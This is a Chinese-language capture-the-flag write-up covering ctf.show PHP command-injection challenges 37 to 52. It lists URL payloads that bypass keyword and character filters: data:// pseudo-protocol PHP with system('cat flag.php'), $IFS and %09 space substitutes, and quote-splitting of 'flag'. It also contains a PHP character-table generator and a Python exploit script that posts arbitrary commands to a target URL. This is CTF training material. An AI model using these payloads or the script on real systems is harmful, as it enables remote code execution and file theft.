include($c);
表达式包含并运行指定文件。
使用data伪协议
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
是<?php system('cat flag.php');?> base64加密
源代码查看得到flag
38
多禁用了php和file。不会改变伪协议,继续使用上一题命令
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
39
被添加了".php"
后缀,data://text/plain,
就相当于已经执行了php语句并闭合了,所以此处添加的.php
并不会有影响。
把上一题的base64加密改回去就行了
?c=data://text/plain,<?php system('cat f*')?>
40
过滤了数字和各种符号
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
41
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py <url>
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
42
>/dev/null 命令不回显 使用;即可绕过
?c=cat f*;
查看源代码
43
禁用了;可以使用
%0a(换行符)
| 执行前面那条命令
|| 执行后面那条命令
& 都执行
&& 都执行
cat被禁用可以使用 nl tac
查看源代码得到flag
44
多禁用一个flag,没啥区别 使用之前代码就行
45
多禁用了个空格 使用%09 都可以绕过
或者?c=echo$IFS`tac$IFS*`%0A
?c=nl$IFS$9f*||
46
禁用了数字但并不影响%09
*号被禁可以使用fl''ag 或fla?
47
?c=nl<fl''ag.php||
?c=nl%09fla?.php||
48
使用上一题命令就行
?c=nl<fl''ag.php||
49
一样
?c=nl<fl''ag.php||
50
同理
51
过滤了tac
使用nl继续
52
<> %09 都禁了使用$IFS
?c=nl${IFS}fl''ag.php||